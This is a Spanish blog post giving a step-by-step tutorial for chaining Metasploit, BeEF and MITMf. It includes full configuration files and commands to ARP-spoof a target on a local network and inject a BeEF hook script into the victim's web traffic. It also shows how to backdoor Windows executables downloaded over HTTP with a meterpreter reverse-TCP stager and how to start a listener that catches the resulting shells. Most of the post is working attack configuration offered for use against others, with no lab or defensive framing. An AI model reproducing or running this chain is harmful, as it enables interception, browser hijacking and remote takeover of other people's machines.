
introduccion.
Si ya han usado BeEf o metasploit, supongo que sabrán la integración de las dos, y si eres nuevo que no sabe el uso de las dos herramientas ni mucho menos de MITMF no te preocupes explicare el uso de las tres herramientas y si veo que el blog es muy apoyado subiré un blog de cada una de ellas afondo.

Metasploit
Metasploit es el proyecto open source que da información sobre las vulnerabilidades que hay, es usado comúnmente para tests de penetración entre otras cosas. El subproyecto que es Metasploit Framework es la herramienta la cual dispone con 463 exploits y 219 módulos, el uso de estos exploits y módulos es para vulnerar maquinas remotas aprovechando vulnerabilidades, por ejemplo, en un blog que hice de envenenamiento a un PDF use un módulo conocido como; use exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs usando el payloadset payload windows/meterpreter/reverse_tcp para la inyección. Una de las herramientas que más he usado en este mundillo.

BeEf
Un Framework bonito y útil si es que buscas hacer ataques XSS contra clientes de aplicaciones web vulnerables, esta es la herramienta ideal en la cual como he dicho antes se integra de forma fácil con una serie de exploits automatizados y manejados mediante Metasploit. También recolecta información de quien visite la web, por ejemplo, dirección IP, cookies, que os utiliza, etc.
Recuerda tener configurado un servidor APACHE con PHP para el uso de la Herramienta.
Repo:
git clone https://github.com/beefproject/beef.git beef-lastest

MITMf
Uno de los mejores Man-in-The-Middle y/o ataques de red que puedes hacer, además, implementa un marco modular para que cualquiera pueda implementar su propio MITM
Explicación sobre el uso de las tres herramientas.
MITMf intercepta el tráfico siempre, sin importar que método use la víctima. Después inyectara el payload de Beef e infecta archivos por HTTP usando metasploit, ahora que tenemos el navegador de nuestra victima totalmente infectado podremos usar Beef que nos permite gracias a la integración de metasploit usar diversos exploits.
Ahora comencemos con la configuración por default de las tres herramientas.

Ejecutamos Metasploits
msfconsole.
//Nota: En Ubuntu tendrás que instalar metasploit, pero, si usas kali linux viene instalado por defecto.
Recomiendo crear un archivo llamado rpc-init.rc para una automatización en la herramienta, después de crear el archivo solo tenemos que poner esto dentro de la siguiente manera:
nano rpc-init.rc
load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123
Ahora lo guardamos con control + x y, Y
cuando lo tengamos lo pondremos en el arranque de msf
msfconsole -r rpc-init.rc
Ahora metasploit podrá arrancar el servidor RPC cual utilizaran las tres herramientas para comunicarse con el mismo
//Nota: Si activas el SSL MITMf no lo podra soportar, pero Beef si puede. Si quieres activar es simplemente poner SSL=y a lo último del archivo creado; rpc-init.rc
Ahora editamos dos archivos uno que es config.yaml de Beef y el otro de metasploit, para activar el soporte de metasploit:
cd /usr/share/beef-xss/
nano config.yaml
extension:
requester:
enable: true
proxy:
enable: true
key: "beef_key.pem"
cert: "beef_cert.pem"
metasploit:
enable: true
social_engineering:
enable: true
evasion:
enable: false
ipec:
enable: true
# this is still experimental..
dns:
enable: false
# this is still experimental..
dns_rebinding:
enable: false
//Nota:La opcion en la que debemos fijarnos es la de Metasploit que ponemos "true", pero, las otras opción las pueden editar como quieran son opcionales.
Ahora configuramos el archivo de metasploit que está dentro de la carpeta de Beef
cd usr/share/beef-xss/extensions/metasploit/
nano config.yaml
Ahora solo queda verificar si la configuración es correcta a la que tenemos:
beef:
extension:
metasploit:
name: 'Metasploit'
enable: true
# Metasploit msgrpc connection options
host: "127.0.0.1"
port: 55552
user: "msf"
pass: "abc123"
uri: '/api'
ssl: false
ssl_version: 'TLS1'
ssl_verify: true
# Public connect back host IP address for victim connections to Metasploit
callback_host: "127.0.0.1"
# URIPATH from Metasploit Browser AutoPwn server module
autopwn_url: "autopwn"
# Start msfrpcd automatically with BeEF
auto_msfrpcd: false
auto_msfrpcd_timeout: 120
msf_path: [
{os: 'osx', path: '/opt/local/msf/'},
{os: 'livecd', path: '/opt/metasploit-framework/'},
{os: 'bt5r3', path: '/opt/metasploit/msf3/'},
{os: 'bt5', path: '/opt/framework3/msf3/'},
{os: 'backbox', path: '/opt/backbox/msf/'},
{os: 'kali', path: '/usr/share/metasploit-framework/'},
{os: 'pentoo', path: '/usr/lib/metasploit'},
{os: 'win', path: 'c:\\metasploit-framework\\'},
{os: 'custom', path: ''}
]
//Nota: en la opción ssl debe de estar en false; ssl: false , por lo que mencione en la anterior nota. Lo demás tendrán que hacer una comprobación de que tanto las credenciales como los datos de conexión sean correspondan con su configuración de Metasploit.
Arranca la herramienta:
cd ..
cd .
//Nota: los .. son para retroceder al anterior directorio o carpeta, por ejemplo, cd Escritorio/Hola/user y ponen cd .. ahora seria Escritorio/Hola, pero les diré la ruta igual: /uesr/share/beef-xss
./beef -x
Ahora viene la parte más difícil de blog, pero antes les explico; como verán ahora que arrancamos Beef ya podemos utilizar las aplicaciones para hacer la post-explotacion, pero, MITMf es una de las principales cuales usaremos en este ataque.
Como las demás herramientas tendremos que modificar los archivos de configuración para que podamos disfrutar al máximo de este framework la ruta está en config/ <Archivo: mitmf.conf>
nano /usr/share/mitmf/config/mitmf.conf
Ahora entramos al archivo y en donde está la sección [FilePwn][[Targets]] del archivo se cambian las variables HOST que sean las de nuestro dispositivo.
//Nota:Recuereden cambiar todas las variables.
Ahora, tendrán que definir un payload ya que no hay uno universal. Recuerden poner el HOST y PORT de escucha que usan, por ejemplo, en windows x86
[[[[WindowsIntelx86]]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
# PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke
PATCH_METHOD = automatic
HOST = 10.0.0.1
PORT = 8090
# SHELL for use with automatic PATCH_METHOD
SHELL = iat_reverse_tcp_stager_threaded
# SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload
SUPPLIED_SHELLCODE = None
ZERO_CERT = True
# PATCH_DLLs as they come across
PATCH_DLL = False
# RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable
RUNAS_ADMIN = False
# XP_MODE - to support XP targets
XP_MODE = True
# SUPPLIED_BINARY is for use with PATCH_METHOD 'onionduke' DLL/EXE can be x64 and
# with PATCH_METHOD 'replace' use an EXE not DLL
SUPPLIED_BINARY = veil_go_payload.exe
MSFPAYLOAD = windows/meterpreter/reverse_tcp
//Nota: Si quieren otro me dicen en privado o en comentarios.
Como vemos utilizaremos el payload windows/meterpreter/reverse_tcp que está definido en la última línea del archivo, además, hemos cambiando también la variable HOST de nuestra máquina. Y el PORT es el que conectara; 8090
Ahora ya tenemos todo configurado para el ataque, pero antes utilizaremos metasploit para ejecutas los handlers necesarios
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 8090
exploit -j
Si no quieren hacer esto y hacerlo de una forma más rápida pueden poner esto:
use exploit/multi/handler
set PAYLOAD /windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 8090set EXITFUNC thread
set Exit0nSessions false
exploit -j -z
Lo guardamos como metasploit.rc, y se ejecuta:
msfconsole -r metasploit.rc -q
set Exit0nSession false
exploit -j -z
Ahora sigamos y analicemos todo. Primero que todo los LHOST y LPORT coinciden con la configuración que hicimos en MITMf y ya solo es que msf espere que MITMf infecte algún archivo para que la víctima lo ejecute por ahora todo va bien y solo es ejecutar MITM
--filepwn --inject --js-url http://10.0.0.1:3000/hook.js
Esta es la primera opción, pero en la URL la cambian por la de ustedes que sale en Beef sirviendo un archivo hook.js. Recuerden ejecutar mitmf con root ya que probablemente no arranque sin root.
Ejemplo en el uso de las opciones:
./mitmf.py --spoof --arp -i wlp2s0 --gateway 10.0.2.1 --target 10.0.2.15 --filepwn --inject --js-url http://10.0.0.1:3000/hook.js
Si quieren que haga otro blog como este decírmelo en los comentarios.
Blogs próximamente:
Poniendo un payload dentro de los pixeles de una imagen
Hackear remotamente con JavaScript
Hackear cualquier cámara.

//Nota: recuerda el host es tu IP, jaja.
Publicar un comentario